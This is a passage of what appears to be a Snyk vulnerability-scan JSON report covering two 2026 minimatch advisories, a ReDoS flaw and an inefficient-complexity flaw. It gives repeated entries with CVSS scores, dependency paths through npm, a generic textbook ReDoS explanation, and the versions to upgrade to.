"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": 